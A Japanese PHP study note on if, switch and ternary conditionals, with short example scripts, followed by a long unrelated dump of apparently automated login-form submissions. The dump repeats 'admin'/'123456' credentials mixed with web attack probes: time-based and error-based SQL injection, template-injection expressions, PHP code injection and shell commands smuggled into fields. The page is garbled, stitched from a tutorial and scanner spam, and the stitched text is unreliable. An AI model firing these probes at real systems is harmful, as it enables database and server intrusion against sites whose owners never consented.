PHPのif文、switch文による条件分岐について学習した内容をまとめています。
条件に応じて処理をコントロールすることができれば、色々なことができるようになってくると思います。
if文は、条件の値に応じて処理を行う条件判断文の一つ。
条件がtrueの際に一行だけ処理を行う場合は以下のように記述できる。
// 構文
if (条件)
//条件がtrueだった場合の処理;
また、条件が複数の場合には以下のように記述できる。
// 構文
if (条件1) {
//条件1がtrueだった場合の処理;
} elseif(条件2) {
//条件2がtrueだった場合の処理;
} elseif(条件3) {
//条件3がtrueだった場合の処理;
} else {
//全ての条件がfalseだった場合の処理;
}
使用してみる。
<?php
$num = 5;
if ($num == 10) {
print "10だと思う<br>";
} elseif($num == 5) {
print "5だと思う<br>";
} elseif($num == 1) {
print "1だと思う<br>";
} else {
print "どれでもないかも<br>";
}
//
//結果
// 5だと思う
//
?>
別の記述方法もある。
// 構文
if (条件1) :
//条件1がtrueだった場合の処理;
elseif(条件2) :
//条件2がtrueだった場合の処理;
else :
//全ての条件がfalseだった場合の処理;
endif;
switch文は、if文同様に条件の値に応じて処理を行う条件判断文の一つ。
式の評価がcaseの後の定数と一致すれば、breakまでの処理を実行する。
また、defaultは省略できる。
// 構文
switch(式) {
case 定数1:
//式の評価が定数1だった場合の処理;
break;
case 定数2:
//式の評価が定数2だった場合の処理;
break;
default:
//式の評価が定数1でも定数2でもなかった場合の処理;
break;
}
breakを忘れてしまうと他のcase内の処理まで実行されてしまうため注意したい。
<?php
// breakを忘れると・・・
$num = 1;
switch($num) {
case 1:
print "break忘れてない、はず<br>";
//break;
case 2:
print "あれ、break忘れてるって<br>";
break;
default:
print "何が起こった";
break;
}
//
//結果
// break忘れてない、はず
// あれ、break忘れてるって
//
?>
別の記述方法もある。
// 構文
switch(式) :
case 定数1:
//式の評価が定数1だった場合の処理;
break;
case 定数2:
//式の評価が定数2だった場合の処理;
break;
default:
//式の評価が定数1でも定数2でもなかった場合の処理;
break;
endswitch;
簡単な条件判断ならば、三項演算子「?:」を使って記述できる。
// 構文
(条件) ? trueの式 : falseの式 ;
if文と比べてみる。
<?php
$num = 1;
//if文
if ($num == 1):
print "1だね<br>";
else:
print "1じゃないね<br>";
endif;
//三項演算子
print ($num == 1) ? "1だね<br>" : "1じゃないね<br>";
//結果
// 1だね
// 1だね
?>
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456'"\(
admin
123456鎈'"\(
admin
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1521093219')))>'0
admin
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1334309859')))
admin
123456/**/and/**/cast(md5('1658599692')as/**/int)>0
admin
123456'and(select'1'from/**/cast(md5(1977455291)as/**/int))>'0
admin
extractvalue(1,concat(char(126),md5(1922657485)))
admin
123456"and/**/extractvalue(1,concat(char(126),md5(1005504790)))and"
admin
123456'and/**/extractvalue(1,concat(char(126),md5(1086937331)))and'
admin
123456
admin"and"f"="g
123456
admin
123456
admin"and"g"="g
123456
admin
123456
admin'and'd'='e
123456
admin
123456
admin'and'f'='f
123456
admin
123456
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',2)='n
admin
123456
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g
admin
123456
admin
123456
admin
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('r',2)
admin
123456
admin
123456
admin
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('w',0)
admin
123456
admin
123456
admin
123456'and(select+1)>0waitfor/**/delay'0:0:2
admin
123456
admin
123456
admin
123456
admin
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin
123456
admin
123456
admin
123456
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
admin
123456
admin
123456
admin
123456
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
admin
123456
admin
123456
admin
123456
admin
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
admin
123456
admin
123456
admin
123456
admin
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin
123456
admin
123456
admin
123456
admin
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
admin
123456
admin
123456
admin
123456
admin
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin
123456
admin
123456
<%- 997890338+933188698 %>
123456
admin
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
admin
123456
admin
123456
admin
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin
123456
admin
123456
${(837089203+945809271)?c}
123456
admin
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
admin
123456
admin
123456
${814122756+903574538}
123456
admin
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin
123456
admin
123456
/*1*/{{925256834+814010360}}
123456
admin
(select*from(select+sleep(2)union/**/select+1)a)
admin
123456
admin
123456
admin
<%- 882874995+972237528 %>
admin
(select*from(select+sleep(0)union/**/select+1)a)
admin
123456
admin
123456
admin
#set($c=917296359+899023935)${c}$c
admin
123456
admin
123456
admin
123456
admin
123456
admin
${(889436682+825473440)?c}
admin
123456
admin
123456
admin
123456
admin
123456
expr 874628204 + 804470285
123456
admin
${888332045+880719544}
admin
123456
${924712583+917231886}
123456
admin
123456
admin
123456
admin
/*1*/{{944611318+916138650}}
admin
123456"and"y"="q
admin
123456
admin
${952010377+936910668}
admin
123456
admin
123456
admin
123456"and"v"="v
'-var_dump(md5(115689492))-'
123456
admin
123456
admin'"\(
123456
admin
123456'and'g'='w
admin
123456
${@var_dump(md5(813334108))};
123456
admin
123456
admin鎈'"\(
123456
admin
123456'and'z'='z
admin
'-var_dump(md5(922981443))-'
admin
123456
admin
expr 940343480 + 847413980
admin
123456/**/and+0=6
admin
123456
admin
${@var_dump(md5(207122118))};
admin
123456&set /A 948912149+880882667
admin
123456/**/and+1=1
admin
123456
admin
123456
admin
123456$(expr 833365984 + 803716354)
admin
123456
admin
123456
admin
123456
admin
123456|expr 836641498 + 999403688
admin
123456
admin
123456
expr 958957740 + 962461305
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin"and"s"="a
123456
admin"and"n"="n
123456
admin'and'x'='p
123456
admin'and'n'='n
123456
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q
admin
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('h',2)
admin
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('n',0)
admin
123456'and(select+1)>0waitfor/**/delay'0:0:2
admin
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
admin
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
admin
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
admin
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
admin
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
admin
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin
(select*from(select+sleep(2)union/**/select+1)a)
admin
(select*from(select+sleep(0)union/**/select+1)a)
admin
123456"and"s"="u
admin
123456"and"y"="y
admin
123456'and'z'='l
admin
123456'and'e'='e
admin
123456/**/and+1=9
admin
123456/**/and+1=1
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin'"\(
123456
admin
123456
admin鎈'"\(
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456'"\(
admin
123456
admin
123456鎈'"\(
admin
123456
admin
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1302828116')))>'0
admin
123456
admin
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1134683595')))
admin
123456
admin
123456/**/and/**/cast(md5('1622432265')as/**/int)>0
admin
123456
admin
123456
admin
123456'and(select'1'from/**/cast(md5(1235853786)as/**/int))>'0
admin
123456
admin
123456
admin
123456
admin
extractvalue(1,concat(char(126),md5(1002907702)))
admin
123456
admin
123456
admin
123456
admin
123456"and/**/extractvalue(1,concat(char(126),md5(1004671900)))and"
admin
123456
admin
123456
admin
123456
admin
123456'and/**/extractvalue(1,concat(char(126),md5(1241040809)))and'
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
expr 955926685 + 966387371
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
<%- 805583994+803670179 %>
123456
admin
123456
admin
123456
admin
123456
admin
expr 903428351 + 962095564
admin
123456
${(981271869+981153822)?c}
123456
admin
123456
admin
123456&set /A 959531084+944917589
admin
123456
${912750832+857684761}
123456
admin
123456
admin
123456$(expr 998195053 + 830811723)
admin
123456
/*1*/{{806628270+894404930}}
123456
admin
123456
admin
123456|expr 892734973 + 986616933
admin
123456
admin
<%- 994113325+994082618 %>
admin
123456
admin
123456
expr 946812817 + 967270461
admin
123456
admin
123456
admin
#set($c=837491541+833756931)${c}$c
admin
123456
admin
123456
admin
123456
admin
${(985523860+839788226)?c}
admin
123456
admin
123456
admin
123456
'-var_dump(md5(871341230))-'
123456
admin
${897703147+927633080}
admin
123456
admin
123456
${983340352+847410640}
123456
admin
123456
${@var_dump(md5(241783784))};
123456
admin
/*1*/{{897784771+939559099}}
admin
123456
admin
123456
admin
${890140687+960385848}
admin
123456
admin
'-var_dump(md5(393302172))-'
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
${@var_dump(md5(691357197))};
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456